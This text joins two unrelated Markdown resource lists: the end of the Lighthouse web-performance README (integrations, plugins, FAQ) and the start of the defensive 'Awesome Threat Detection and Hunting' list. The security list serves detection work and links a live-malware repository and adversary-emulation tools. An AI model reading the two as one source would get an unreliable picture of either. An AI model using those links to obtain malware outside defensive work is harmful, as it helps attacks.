* **[Web Page Test](https://www.webpagetest.org)** — An [open source](https://github.com/WPO-Foundation/webpagetest) tool for measuring and analyzing the performance of web pages on real devices. Users can choose to produce a Lighthouse report alongside the analysis of WebPageTest results.
* **[HTTPArchive](http://httparchive.org/)** - HTTPArchive tracks how the web is built by crawling 500k pages with Web Page Test, including Lighthouse results, and stores the information in BigQuery where it is [publicly available](https://discuss.httparchive.org/t/quickstart-guide-to-exploring-the-http-archive/682).
* **[Calibre](https://calibreapp.com)** - Calibre is a comprehensive performance monitoring platform running on Lighthouse. See the performance impact of your work before it hits production with GitHub Pull Request Reviews. Track the impact of Third Party scripts. Automate your performance system with a developer-first Node.js API. Try Calibre with a free 15-day trial.
* **[DebugBear](https://www.debugbear.com/)** - DebugBear is a website monitoring tool based on Lighthouse. See how your scores and metrics changed over time, with a focus on understanding what caused each change. DebugBear is a paid product with a free 30-day trial.
* **[Treo](https://treo.sh)** - Treo is Lighthouse as a Service. It provides regression testing, geographical regions, custom networks, and integrations with GitHub & Slack. Treo is a paid product with plans for solo-developers and teams.
* **[Alertdesk](https://www.alertdesk.com/)** - Alertdesk is based on Lighthouse and helps you to keep track of your site’s quality & performance. Run daily quality & performance tests from both Mobile and Desktop and dive into the powerful & intuitive reports. You can also monitor your uptime (every minute - 24/7) & domain health. Alertdesk is a paid product with a free 14-day trial.
* **[Screpy](https://screpy.com)** - Screpy is a web analysis tool that can analyze all pages of your websites in one dashboard and monitor them with your team. It's powered by Lighthouse and it also includes some different analysis tools (SERP, W3C, Uptime, etc). Screpy has free and paid plans.
* **[Siteimprove Performance](https://siteimprove.com/en/performance/)** — Siteimprove Performance is a web Performance monitoring solution that enables a marketer, manager or decision maker to understand and optimize website load times. Get easy-to-use insights with a focus on quick and impactful wins. Siteimprove Performance is a paid product with a free 14-day trial.
* **[SpeedCurve](https://speedcurve.com)** — SpeedCurve is a tool for continuously monitoring web performance across different browsers, devices, and regions. It can aggregate any metric including Lighthouse scores across multiple pages and sites, and allows you to set performance budgets with Slack or email alerts. SpeedCurve is a paid product with a free 30-day trial.
* **[Foo](https://www.foo.software/lighthouse)** - Lighthouse-as-a-service offering free and premium plans. Provides monitoring and historical reporting of Lighthouse audits with CircleCI, GitHub, and other integrations. Features include Slack notifications, PR comment reporting and more.
* **[Apdex](https://apdex.co)** - Apdex is a website performance service. The main features are historical Lighthouse report visualizations, mobile/desktop options, alerts, uptime monitoring, and more. There are flexible paid plans and a 30-day free trial.
* **[Websu](https://websu.io)** - Websu is an open source project to provide Lighthouse-as-a-Service through a simple HTTP REST API. The main features are ability to host and deploy in your own environment and historical Lighthouse report summaries.
* **[DTEKT.IO](https://dtekt.io)** - DTEKT is a website performance and uptime monitoring service. It uses lighthouse to provide visibility into the performance of websites from multiple locations on multiple devices. It offers three months free trial and paid plans.
* **[SpeedVitals](https://speedvitals.com)** - SpeedVitals is a Lighthouse powered tool to measure web performance across multiple devices and locations. It has various features like Layout Shift Visualization, Waterfall Chart, Field Data and Resource Graphs. SpeedVitals offers both free and paid plans.
* **[Lighthouse Metrics](https://lighthouse-metrics.com/)** - Lighthouse Metrics gives you global performance insights with a single test. You can also monitor your websites on a daily or hourly base. Lighthouse Metrics offers free global one-time tests and performance monitoring as a paid feature with a free 14-day trial.
* **[Auditzy](https://auditzy.com)** - Auditzy™ is a robust website auditing & monitoring tool which lets you analyze your web page(s) pre-user journey. Analyze the Competitor Health Metric, Core Web Vitals, and Technology. Compare your web pages with your competitors to understand where you are leading or lagging. Real-time notification with Slack. Have Seamless Collaboration with Multiple Teams. Automate your Audits hourly, daily, weekly, and so on. It has a free trial with pay as you go plans.
## Lighthouse Integrations in non-Web Perf services
* **[PageWatch](https://pagewatch.dev/)** — PageWatch is a tool to find problem pages on your website. It provides insights into spelling errors, layout issues, slow pages (powered by Lighthouse) and more. PageWatch is offered via free and paid plans.
* **[Fluxguard](https://fluxguard.com/)** - Fluxguard provides website DOM change monitoring orchestrated with Google Puppeteer, and audited by Lighthouse. Fluxguard is a freemium product, with monthly monitoring of up to 75 pages for free.
* **[Microlink](https://microlink.io)** — Microlink is a cloud browser as API. It offers Lighthouse reports on demand, making it easy to build any service on top. Similar functionality is available via the underlying open-source project named browserless.
* **[Wattspeed](https://wattspeed.com/)** — Wattspeed is a free tool that generates snapshots - historical captures of your web pages that include Lighthouse scores, a list of technologies, W3C HTML validator results, DOM size, mixed content info, and more.
## Plugins
* **[lighthouse-plugin-field-performance](https://github.com/treosh/lighthouse-plugin-field-performance)** - a plugin that adds real-user performance metrics for the URL using the data from [Chrome UX Report](https://developers.google.com/web/tools/chrome-user-experience-report/).
* **[lighthouse-plugin-publisher-ads](https://github.com/googleads/publisher-ads-lighthouse-plugin)** - a tool to improve ad speed and overall quality through a series of automated audits. At the moment, this is primarily targeted at sites using Google Ad Manager. This tool will aid in resolving discovered problems, providing a tool to be used to evaluate effectiveness of iterative changes while suggesting actionable feedback.
* **[lighthouse-plugin-crux](https://github.com/dvelasquez/lighthouse-plugin-crux)** - a plugin that quickly gathers real-user-metrics data from the [Chrome UX Report API](https://developers.google.com/web/tools/chrome-user-experience-report/api/reference).
## Related projects
Other awesome open source projects that use Lighthouse.
* **[auto-lighthouse](https://github.com/TGiles/auto-lighthouse)** - a CLI for crawling a domain and generating mobile and desktop reports for each page.
* **[Exthouse](https://github.com/treosh/exthouse)** - Analyze the impact of a browser extension on web performance.
* **[Gimbal](https://labs.moduscreate.com/gimbal-web-performance-audit-budgeting)** - An [open source (MIT licensed)](https://github.com/ModusCreateOrg/gimbal) tool used to measure, analyze, and budget aspects of a web application. Gimbal also integrates reports with GitHub pull requests.
* **[Gradle Lighthouse Plugin](https://github.com/Cognifide/gradle-lighthouse-plugin)** - An open source Gradle plugin that runs Lighthouse tests on multiple URLs and asserts category score thresholds (useful in continuous integration).
* **[lighthouse-badges](https://github.com/emazzotta/lighthouse-badges)** - Generate gh-badges (shields.io) based on Lighthouse performance.
* **[lighthouse-batch](https://github.com/mikestead/lighthouse-batch)** - Run Lighthouse over a number of sites and generate a summary of their metrics/scores.
* **[lighthouse-batch-parallel](https://github.com/Carr1005/lighthouse-batch-parallel)** - Run multiple Lighthouse runs in parallel to accelerate the data collecting process, get the result stream (csv, json, js object) in your own process (warning: performance results may be volatile).
* **[lighthouse-check-action](https://github.com/foo-software/lighthouse-check-action)** - A GitHub Action to run Lighthouse in a workflow, featuring Slack notifications and report upload to S3.
* **[lighthouse-check-orb](https://circleci.com/orbs/registry/orb/foo-software/lighthouse-check)** - A CircleCI Orb to run Lighthouse in a workflow, featuring Slack notifications and report upload to S3.
* **[andreasonny83/lighthouse-ci](https://github.com/andreasonny83/lighthouse-ci)** - Run Lighthouse and assert scores satisfy your custom thresholds.
* **[GoogleChrome/lighthouse-ci](https://github.com/GoogleChrome/lighthouse-ci)** - (**official**) Automate running Lighthouse for every commit, viewing the changes, and preventing regressions.
* **[lighthouse-ci-action](https://github.com/treosh/lighthouse-ci-action)** - A GitHub Action that makes it easy to run Lighthouse in CI and keep your pages small using performance budgets.
* **[lighthouse-gh-reporter](https://github.com/carlesnunez/lighthouse-gh-reporter)** - Run Lighthouse in CI and report back in a comment on your pull requests
* **[lighthouse-jest-example](https://github.com/justinribeiro/lighthouse-jest-example)** - Gather performance metrics via Lighthouse and assert results with Jest; uses Puppeteer to start Chrome with network emulation settings defined by WebPageTest.
* **[lighthouse-lambda](https://github.com/Otterseer/lighthouse-lambda)** - Run Lighthouse on AWS Lambda with prebuilt stable desktop Headless Chrome.
* **[lighthouse-mocha-example](https://github.com/rishichawda/lighthouse-mocha-example)** - Run Lighthouse performance tests with Mocha and chrome-launcher.
* **[lighthouse-monitor](https://github.com/verivox/lighthouse-monitor)** - Run Lighthouse against all your URLs. Send metrics to any backend you want, save all reports with automatic data retention, and compare any two results in a web UI.
* **[lighthouse-persist](https://github.com/foo-software/lighthouse-persist)** - Run Lighthouse and upload HTML reports to an AWS S3 bucket.
* **[lighthouse-viewer](https://github.com/dvelasquez/lighthouse-viewer/tree/main/packages/lighthouse-viewer)** - Render the Lighthouse JSON into a report, using the Lighthouse Report Renderer repackaged as UMD and ESM. Also available with React, Svelte and Vue wrappers.
* **[lighthouse4u](https://github.com/godaddy/lighthouse4u)** - LH4U provides Google Lighthouse as a service, surfaced by both a friendly UI+API, and backed by Elastic Search for easy querying and visualization.
* **[react-lighthouse-viewer](https://www.npmjs.com/package/react-lighthouse-viewer)** - Render a Lighthouse JSON report in a React Component.
* **[site-audit-seo](https://github.com/viasite/site-audit-seo)** - CLI tool for SEO site audit, crawl site, lighthouse each page. Output to console and tables in csv, xlsx, json, web or Google Drive.
* **[webpack-lighthouse-plugin](https://github.com/addyosmani/webpack-lighthouse-plugin)** - Run Lighthouse from a Webpack build.
* **[cypress-audit](https://github.com/mfrachet/cypress-audit)** - Run Lighthouse and Pa11y audits directly in your E2E test suites.
* **[laravel-lighthouse](https://github.com/adityadees/laravel-lighthouse)** - Google Lighthouse wrapper for laravel framework to run Google Lighthouse CLI with custom option and can automatically save result in your server directory.
## FAQ
### How does Lighthouse work?
See [Lighthouse Architecture](./docs/architecture.md).
### Why is the performance score so low? It looks fine to me.
Lighthouse reports the performance metrics as they would be experienced by a typical mobile user on a 4G connection and a mid-tier ~$200 phone. Even if it loads quickly on your device and network, users in other environments will experience the site very differently.
Read more in our [guide to throttling](./docs/throttling.md).
### Why does the performance score change so much?
Lighthouse performance scores will change due to inherent variability in web and network technologies, even if there hasn't been a code change. Test in consistent environments, run Lighthouse multiple times, and beware of variability before drawing conclusions about a performance-impacting change.
Read more in our [guide to reducing variability](./docs/variability.md).
### Can I configure the lighthouse run?
Yes! Details in [Lighthouse configuration](./docs/configuration.md).
### How does Lighthouse use network throttling, and how can I make it better?
Good question. Network and CPU throttling are applied by default in a Lighthouse run. The network
attempts to emulate slow 4G connectivity and the CPU is slowed down 4x from your machine's default speed. If you
prefer to run Lighthouse without throttling, you'll have to use the CLI and disable it with the
`--throttling.*` flags mentioned above.
Read more in our [guide to network throttling](./docs/throttling.md).
### Are results sent to a remote server?
Nope. Lighthouse runs locally, auditing a page using a local version of the Chrome browser installed on the
machine. Report results are never processed or beaconed to a remote server.
### How do I get localized Lighthouse results via the CLI?
Starting in Lighthouse 8.0, Lighthouse relies entirely on native `Intl` support and no longer uses an `Intl` polyfill. If you're using Node 14 or later, there should be no issue because Node is now [built with `full-icu` by default](https://nodejs.medium.com/node-js-12-to-lts-and-node-js-13-is-here-e28d6a4a2bd#9514).
However, if you're using a `small-icu` Node build, you may see Lighthouse log messages about your locale not being available. To remedy this, you can manually install ICU data by using the [`full-icu`](https://www.npmjs.com/package/full-icu) module and the [`--icu-data-dir` node flag](https://nodejs.org/api/intl.html#intl_providing_icu_data_at_runtime) at launch.
### How do I author custom audits to extend Lighthouse?
> **Tip**: see [Lighthouse Architecture](./docs/architecture.md) for more information
on terminology and architecture.
Lighthouse can be extended to run custom audits and gatherers that you author.
This is great if you're already tracking performance metrics in your site and
want to surface those metrics within a Lighthouse report.
If you're interested in running your own custom audits, check out our
[Custom Audit Example](./docs/recipes/custom-audit) over in recipes.
### How do I contribute?
We'd love help writing audits, fixing bugs, and making the tool more useful!
See [Contributing](./CONTRIBUTING.md) to get started.
---
<p align="center">
<img src="./assets/lighthouse-logo_512px.png" alt="Lighthouse logo" height="150">
<br>
<b>Lighthouse</b>, ˈlītˌhous (n): a <s>tower or other structure</s> tool containing a beacon light
to warn or guide <s>ships at sea</s> developers.
</p>
|
## OG repo
https://github.com/0x4D31/awesome-threat-detection
# Awesome Threat Detection and Hunting
[](https://github.com/sindresorhus/awesome)
> A curated list of awesome threat detection and hunting resources
## Contents
- [Threat Detection and Hunting](#threat-detection-and-hunting)
- [Tools](#tools)
- [Alerting Engine](#alerting-engine)
- [Endpoint Monitoring](#endpoint-monitoring)
- [Network Monitoring](#network-monitoring)
- [Fingerprinting Tools](#fingerprinting-tools)
- [DataSet](#dataset)
- [Resources](#resources)
- [Frameworks](#frameworks)
- [DNS](#dns)
- [Command and Control](#command-and-control)
- [Osquery](#osquery)
- [Windows](#windows)
- [Sysmon](#sysmon)
- [PowerShell](#powershell)
- [Fingerprinting](#fingerprinting)
- [Research Papers](#research-papers)
- [Blogs](#blogs)
- [Videos](#videos)
- [Trainings](#trainings)
- [Twitter](#twitter)
- [Threat Simulation](#threat-simulation)
- [Tools](#tools-1)
- [Resources](#resources-1)
- [Contribute](#contribute)
- [License](#license)
## Threat Detection and Hunting
### Tools
- [MITRE ATT&CK Navigator](https://mitre.github.io/attack-navigator/enterprise/)([source code](https://github.com/mitre/attack-navigator)) - The ATT&CK Navigator is designed to provide basic navigation and annotation of ATT&CK matrices, something that people are already doing today in tools like Excel.
- [HELK](https://github.com/Cyb3rWard0g/HELK) - A Hunting ELK (Elasticsearch, Logstash, Kibana) with advanced analytic capabilities.
- [osquery-configuration](https://github.com/palantir/osquery-configuration) - A repository for using osquery for incident detection and response.
- [DetectionLab](https://github.com/clong/DetectionLab/) - Vagrant & Packer scripts to build a lab environment complete with security tooling and logging best practices.
- [Sysmon-DFIR](https://github.com/MHaggis/sysmon-dfir) - Sources, configuration and how to detect evil things utilizing Microsoft Sysmon.
- [sysmon-config](https://github.com/SwiftOnSecurity/sysmon-config) - Sysmon configuration file template with default high-quality event tracing.
- [sysmon-modular](https://github.com/olafhartong/sysmon-modular) - A repository of sysmon configuration modules. It also includes a [mapping](https://github.com/olafhartong/sysmon-modular/blob/master/attack_matrix/README.md) of Sysmon configurations to MITRE ATT&CK techniques.
- [Revoke-Obfuscation](https://github.com/danielbohannon/Revoke-Obfuscation) - PowerShell Obfuscation Detection Framework.
- [Invoke-ATTACKAPI](https://github.com/Cyb3rWard0g/Invoke-ATTACKAPI) - A PowerShell script to interact with the MITRE ATT&CK Framework via its own API.
- [Unfetter](https://github.com/unfetter-analytic/unfetter) - A reference implementation provides a framework for collecting events (process creation, network connections, Window Event Logs, etc.) from a client machine and performing CAR analytics to detect potential adversary activity.
- [Flare](https://github.com/austin-taylor/flare) - An analytical framework for network traffic and behavioral analytics.
- [RedHunt-OS](https://github.com/redhuntlabs/RedHunt-OS) - A Virtual Machine for Adversary Emulation and Threat Hunting. RedHunt aims to be a one stop shop for all your threat emulation and threat hunting needs by integrating attacker's arsenal as well as defender's toolkit to actively identify the threats in your environment.
- [Oriana](https://github.com/mvelazc0/Oriana) - Lateral movement and threat hunting tool for Windows environments built on Django comes Docker ready.
- [Bro-Osquery](https://github.com/bro/bro-osquery) - Bro integration with osquery
- [Brosquery](https://github.com/jandre/brosquery) - A module for osquery to load Bro logs into tables
- [DeepBlueCLI](https://github.com/sans-blue-team/DeepBlueCLI) - A PowerShell Module for Hunt Teaming via Windows Event Logs
- [Uncoder](https://uncoder.io) - An online translator for SIEM saved searches, filters, queries, API requests, correlation and Sigma rules
- [Sigma](https://github.com/Neo23x0/sigma) - Generic Signature Format for SIEM Systems
- [CimSweep](https://github.com/PowerShellMafia/CimSweep) - A suite of CIM/WMI-based tools that enable the ability to perform incident response and hunting operations remotely across all versions of Windows
- [Dispatch](https://github.com/Netflix/dispatch) - An open-source crisis management orchestration framework
- [EQL](https://github.com/endgameinc/eql) - Event Query Language
- [EQLLib](https://github.com/endgameinc/eqllib) - The Event Query Language Analytics Library (eqllib) is a library of event based analytics, written in EQL to detect adversary behaviors identified in MITRE ATT&CK™.
- [BZAR](https://github.com/mitre-attack/bzar) (Bro/Zeek ATT&CK-based Analytics and Reporting) - A set of Zeek scripts to detect ATT&CK techniques
- [Security Onion](https://github.com/Security-Onion-Solutions/security-onion) - An open-source Linux distribution for threat hunting, security monitoring, and log management. It includes ELK, Snort, Suricata, Zeek, Wazuh, Sguil, and many other security tools
- [Varna](https://github.com/endgameinc/varna) - A quick & cheap AWS CloudTrail Monitoring with Event Query Language (EQL)
- [BinaryAlert](https://github.com/airbnb/binaryalert) - Serverless, real-time & retroactive malware detection
- [hollows_hunter](https://github.com/hasherezade/hollows_hunter) - Scans all running processes, recognizes and dumps a variety of potentially malicious implants (replaced/implanted PEs, shellcodes, hooks, in-memory patches).
- [ThreatHunting](https://github.com/olafhartong/ThreatHunting) - A Splunk app mapped to MITRE ATT&CK to guide your threat hunts
- [Sentinel Attack](https://github.com/BlueTeamLabs/sentinel-attack) - A repository of Azure Sentinel alerts and hunting queries leveraging sysmon and the MITRE ATT&CK framework
- [Brim](https://github.com/brimsec/brim) - A desktop application to efficiently search large packet captures and Zeek logs
- [YARA](https://github.com/virustotal/yara) - The pattern matching swiss knife
- [Intel Owl](https://github.com/intelowlproject/IntelOwl) - An Open Source Intelligence, or OSINT solution to get threat intelligence data about a specific file, an IP or a domain from a single API at scale.
- [Capa](https://github.com/fireeye/capa) - An open-source tool to identify capabilities in executable files.
- [Splunk Security Content](https://github.com/splunk/security_content) Splunk-curated detection content that can easily be used accross many SIEMs (see Uncoder Rule Converter.)
- [Threat Bus](https://github.com/tenzir/threatbus) - Threat intelligence dissemination layer to connect security tools through a distributed publish/subscribe message broker.
- [VAST](https://github.com/tenzir/vast) - A network telemetry engine for data-driven security investigations.
- [zeek2es](https://github.com/corelight/zeek2es) - An open source tool to convert Zeek logs to Elastic/OpenSearch. You can also output pure JSON from Zeek's TSV logs!
#### Alerting Engine
- [ElastAlert](https://github.com/Yelp/elastalert) - A framework for alerting on anomalies, spikes, or other patterns of interest from data in Elasticsearch
- [StreamAlert](https://github.com/airbnb/streamalert) - A serverless, realtime data analysis framework which empowers you to ingest, analyze, and alert on data from any environment, using datasources and alerting logic you define
#### Endpoint Monitoring
- [osquery](https://osquery.io) ([github](https://github.com/osquery/osquery)) - SQL powered operating system instrumentation, monitoring, and analytics
- [Kolide Fleet](https://github.com/kolide/fleet) - A flexible control server for osquery fleets
- [Zeek Agent](https://github.com/zeek/zeek-agent) - An endpoint monitoring agent that provides host activity to Zeek
- [Velociraptor](https://github.com/Velocidex/velociraptor) - Endpoint visibility and collection tool
- [Sysdig](https://github.com/draios/sysdig) - A tool for deep Linux system visibility, with native support for containers. Think about sysdig as strace + tcpdump + htop + iftop + lsof + ...awesome sauce
- [go-audit](https://github.com/slackhq/go-audit) - An alternative to the Linux auditd daemon
- [Sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) - A Windows system service and device driver that monitors and logs system activity to the Windows event log
- [OSSEC](https://github.com/ossec/ossec-hids) - An open-source Host-based Intrusion Detection System (HIDS)
- [WAZUH](https://github.com/wazuh/wazuh) - An open-source security platform
#### Network Monitoring
- [Zeek](https://github.com/zeek/zeek) (formerly Bro) - A network security monitoring tool
- [ntopng](https://github.com/ntop/ntopng) - A web-based network traffic monitoring tool
- [Suricata](https://suricata-ids.org) - A network threat detection engine
- [Snort](https://snort.org) ([github](https://github.com/snort3/snort3)) - A network intrusion detection tool
- [Joy](https://github.com/cisco/joy) - A package for capturing and analyzing network flow data and intraflow data, for network research, forensics, and security monitoring
- [Netcap](https://github.com/dreadl0ck/netcap) - A framework for secure and scalable network traffic analysis
- [Moloch](https://github.com/aol/moloch) - A large scale and open source full packet capture and search tool
- [Stenographer](https://github.com/google/stenographer) - A full-packet-capture tool
##### Fingerprinting Tools
- [JA3](https://github.com/salesforce/ja3) - A method for profiling SSL/TLS Clients and Servers
- [HASSH](https://github.com/salesforce/hassh) - Profiling Method for SSH Clients and Servers
- [RDFP](https://github.com/yahoo/rdfp) - Zeek Remote desktop fingerprinting script based on [FATT](https://github.com/0x4D31/fatt) (Fingerprint All The Things)
- [FATT](https://github.com/0x4D31/fatt) - A pyshark based script for extracting network metadata and fingerprints from pcap files and live network traffic
- [FingerprinTLS](https://github.com/LeeBrotherston/tls-fingerprinting) - A TLS fingerprinting method
- [Mercury](https://github.com/cisco/mercury) - Network fingerprinting and packet metadata capture
- [GQUIC Protocol Analyzer for Zeek](https://github.com/salesforce/GQUIC_Protocol_Analyzer)
- [Recog](https://github.com/rapid7/recog) - A framework for identifying products, services, operating systems, and hardware by matching fingerprints against data returned from various network probes
- [Hfinger](https://github.com/CERT-Polska/hfinger) - Fingerprinting HTTP requests
- [JARM](https://github.com/salesforce/jarm) - An active Transport Layer Security (TLS) server fingerprinting tool.
### Dataset
- [Mordor](https://github.com/Cyb3rWard0g/mordor) - Pre-recorded security events generated by simulated adversarial techniques in the form of JavaScript Object Notation (JSON) files. The data is categorized by platforms, adversary groups, tactics and techniques defined by the Mitre ATT&CK Framework.
- [SecRepo.com](https://www.secrepo.com)([github repo](https://github.com/sooshie/secrepo)) - Samples of security related data.
- [Boss of the SOC (BOTS) Dataset Version 1](https://github.com/splunk/botsv1)
- [Boss of the SOC (BOTS) Dataset Version 2](https://github.com/splunk/botsv2)
- [Boss of the SOC (BOTS) Dataset Version 3](https://github.com/splunk/botsv3)
- [EMBER](https://github.com/endgameinc/ember) ([paper](https://arxiv.org/abs/1804.04637)) - The EMBER dataset is a collection of features from PE files that serve as a benchmark dataset for researchers
- [theZoo](https://github.com/ytisf/theZoo) - A repository of LIVE malwares
- [CIC Datasets](https://www.unb.ca/cic/datasets/index.html) - Canadian Institute for Cybersecurity datasets
- [Netresec's PCAP repo list](https://www.netresec.com/?page=PcapFiles) - A list of public packet capture repositories, which are freely available on the Internet.
- [PCAP-ATTACK](https://github.com/sbousseaden/PCAP-ATTACK) - A repo of PCAP samples for different ATT&CK techniques.
- [EVTX-ATTACK-SAMPLES](https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES) - A repo of Windows event samples (EVTX) associated with ATT&CK techniques ([EVTX-ATT&CK Sheet](https://docs.google.com/spreadsheets/d/12V5T9j6Fi3JSmMpAsMwovnWqRFKzzI9l2iXS5dEsnrs/edit#gid=164587082)).
### Resources
- [Huntpedia](docs/huntpedia.pdf) - Your Threat Hunting Knowledge Compendium
- [Hunt Evil](docs/hunt-evil.pdf) - Your Practical Guide to Threat Hunting
- [The Hunter's Handbook](docs/The-Hunters-Handbook.pdf) - Endgame's guide to adversary hunting
- [ThreatHunter-Playbook](https://github.com/Cyb3rWard0g/ThreatHunter-Playbook) - A Threat hunter's playbook to aid the development of techniques and hypothesis for hunting campaigns.
- [The ThreatHunting Project](https://github.com/ThreatHuntingProject/ThreatHunting) - A great [collection of hunts](https://github.com/ThreatHuntingProject/ThreatHunting/tree/master/hunts) and threat hunting resources.
- [CyberThreatHunting](https://github.com/A3sal0n/CyberThreatHunting) - A collection of resources for threat hunters.
- [Hunt-Detect-Prevent](https://github.com/MHaggis/hunt-detect-prevent) - Lists of sources and utilities to hunt, detect and prevent evildoers.
- [Alerting and Detection Strategy Framework](https://medium.com/@palantir/alerting-and-detection-strategy-framework-52dc33722df2)
- [Generating Hypotheses for Successful Threat Hunting](https://www.sans.org/reading-room/whitepapers/threats/generating-hypotheses-successful-threat-hunting-37172)
- [Expert Investigation Guide - Threat Hunting](https://github.com/Foundstone/ExpertInvestigationGuides/tree/master/ThreatHunting)
- [Active Directory Threat Hunting](https://adsecurity.org/wp-content/uploads/2017/04/2017-BSidesCharm-DetectingtheElusive-ActiveDirectoryThreatHunting-Final.pdf)
- [Threat Hunting for Fileless Malware](https://www.countercept.com/our-thinking/threat-hunting-for-fileless-malware/)
- [Windows Commands Abused by Attackers](http://blog.jpcert.or.jp/.s/2016/01/windows-commands-abused-by-attackers.html)
- [Deception-as-Detection](https://github.com/0x4D31/deception-as-detection) - Deception based detection techniques mapped to the MITRE’s ATT&CK framework.
- [On TTPs](http://ryanstillions.blogspot.com.au/2014/04/on-ttps.html)
- Hunting On The Cheap ([Slides](https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492182404.pdf))
- [Threat Hunting Techniques - AV, Proxy, DNS and HTTP Logs](https://www.cyberhuntz.com/2016/08/threat-hunting-techniques-av-proxy-dns.html)
- [Detecting Malware Beacons Using Splunk](https://pleasefeedthegeek.wordpress.com/2012/12/20/detecting-malware-beacons-using-splunk/)
- [Data Science Hunting Funnel](http://www.austintaylor.io/network/traffic/threat/data/science/hunting/funnel/machine/learning/domain/expertise/2017/07/11/data-science-hunting-funnel/)
- [Use Python & Pandas to Create a D3 Force Directed Network Diagram](http://www.austintaylor.io/d3/python/pandas/2016/02/01/create-d3-chart-python-force-directed/)
- [Syscall Auditing at Scale](https://slack.engineering/syscall-auditing-at-scale-e6a3ca8ac1b8)
- [Catching attackers with go-audit and a logging pipeline](https://summitroute.com/blog/2016/12/25/Catching_attackers_with_go-audit_and_a_logging_pipeline/)
- [The Coventry Conundrum of Threat Intelligence](https://summitroute.com/blog/2015/06/10/the_conventry_conundrum_of_threat_intelligence/)
- [Signal the ATT&CK: Part 1](https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/signal-att-and-ck-part-1.html) - Building a real-time threat detection capability with Tanium that focuses on documented adversarial techniques.
- SANS Summit Archives ([DFIR](https://www.sans.org/cyber-security-summit/archives/dfir), [Cyber Defense](https://www.sans.org/cyber-security-summit/archives/cyber-defense)) - Threat hunting, Blue Team and DFIR summit slides
- [Bro-Osquery](https://svs.informatik.uni-hamburg.de/publications/2018/2018-05-31-Haas-QueryCon-Bro-Osquery.pdf) - Large-Scale Host and Network Monitoring Using Open-Source Software
- [Malware Persistence](https://github.com/Karneades/malware-persistence) - Collection of various information focused on malware persistence: detection (techniques), response, pitfalls and the log collection (tools).
- [Threat Hunting with Jupyter Notebooks](https://posts.specterops.io/threat-hunting-with-jupyter-notebooks-part-1-your-first-notebook-9a99a781fde7)
- [How Dropbox Security builds tools for threat detection and incident response](https://dropbox.tech/security/how-dropbox-security-builds-better-tools-for-threat-detection-and-incident-response)
- [Introducing Event Query Language](https://www.elastic.co/blog/introducing-event-query-language)
- [The No Hassle Guide to Event Query Language (EQL) for Threat Hunting](https://www.varonis.com/blog/guide-no-hassle-eql-threat-hunting/) ([PDF](docs/varonis.com-EQLforThreatHunting.pdf))
- [Introducing the Funnel of Fidelity](https://posts.specterops.io/introducing-the-funnel-of-fidelity-b1bb59b04036) ([PDF](docs/specterops-IntroducingtheFunnelofFidelity.pdf))
- [Detection Spectrum](https://posts.specterops.io/detection-spectrum-198a0bfb9302) ([PDF](docs/specterops-DetectionSpectrum.pdf))
- [Capability Abstraction](https://posts.specterops.io/capability-abstraction-fbeaeeb26384) ([PDF](docs/specterops-CapabilityAbstraction.pdf))
- [Awesome YARA](https://github.com/InQuest/awesome-yara) - A curated list of awesome YARA rules, tools, and resources
- [Defining ATT&CK Data Sources](https://medium.com/mitre-attack/defining-attack-data-sources-part-i-4c39e581454f) - A two-part blog series that outlines a new methodology to extend ATT&CK’s current data sources.
- [DETT&CT: MAPPING YOUR BLUE TEAM TO MITRE ATT&CK™](https://www.mbsecure.nl/blog/2019/5/dettact-mapping-your-blue-team-to-mitre-attack) - A blog that describes how to align MITRE ATT&CK-based detection content with data sources.
- Detection as Code in Splunk [Part 1, ](https://www.splunk.com/en_us/blog/security/ci-cd-detection-engineering-splunk-security-content-part-1.html)[Part 2, ](https://www.splunk.com/en_us/blog/security/ci-cd-detection-engineering-splunk-s-attack-range-part-2.html)[and Part 3](https://www.splunk.com/en_us/blog/security/ci-cd-detection-engineering-failing-part-3.html) - A multipart series describing how detection as code can be successfully deployed in a Splunk environment.
- [Lessons Learned in Detection Engineering](https://medium.com/starting-up-security/lessons-learned-in-detection-engineering-304aec709856) - A well experienced detection engineer describes in detail his observations, challenges, and recommendations for building an effective threat detection program.
#### Frameworks
- [MITRE ATT&CK](https://attack.mitre.org/wiki/Main_Page) - A curated knowledge base and model for cyber adversary behavior, reflecting the various phases of an adversary’s lifecycle and the platforms they are known to target.
- [MITRE CAR](https://car.mitre.org/wiki/Main_Page) - The Cyber Analytics Repository (CAR) is a knowledge base of analytics developed by MITRE based on the Adversary Tactics, Techniques, and Common Knowledge (ATT&CK™) adversary model.
- [Alerting and Detection Strategies Framework](https://github.com/palantir/alerting-detection-strategy-framework) - A framework for developing alerting and detection strategies.
- [A Simple Hunting Maturity Model](http://detect-respond.blogspot.com.au/2015/10/a-simple-hunting-maturity-model.html) - The Hunting Maturity Model describes five levels of organizational hunting capability, ranging from HMM0 (the least capability) to HMM4 (the most).
- [The Pyramic of Pain](http://detect-respond.blogspot.com.au/2013/03/the-pyramid-of-pain.html) - The relationship between the types of indicators you might use to detect an adversary's activities and how much pain it will cause them when you are able to deny those indicators to them.
- [A Framework for Cyber Threat Hunting](docs/Framework-for-Threat-Hunting-Whitepaper.pdf)
- [The PARIS Model](http://threathunter.guru/blog/the-paris-model/) - A model for threat hunting.
- [Cyber Kill Chain](https://www.lockheedmartin.com/us/what-we-do/aerospace-defense/cyber/cyber-kill-chain.html) - It is part of the Intelligence Driven Defense® model for identification and prevention of cyber intrusions activity. The model identifies what the adversaries must complete in order to achieve their objective.
- [The DML Model](http://ryanstillions.blogspot.com.au/2014/04/the-dml-model_21.html) - The Detection Maturity Level (DML) model is a capability maturity model for referencing ones maturity in detecting cyber attacks.
- [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework)
- [OSSEM](https://github.com/hunters-forge/OSSEM) (Open Source Security Events Metadata) - A community-led project that focuses on the documentation and standardization of security event logs from diverse data sources and operating systems
- [MITRE Shield](https://shield.mitre.org) - A knowledge base of active defense techniques and tactics ([Active Defense Matrix](https://shield.mitre.org/matrix/))
- [MaGMa Use Case Defintion Model](https://www.betaalvereniging.nl/wp-content/uploads/FI-ISAC-use-case-framework-verkorte-versie.pdf) - A business-centric approach for planning and defining threat detection use cases.
#### DNS
- [Detecting DNS Tunneling](https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152)
- [Hunting the Known Unknowns (with DNS)](https://www.splunk.com/pdfs/events/govsummit/hunting_the_known_unknowns_with_DNS.pdf)
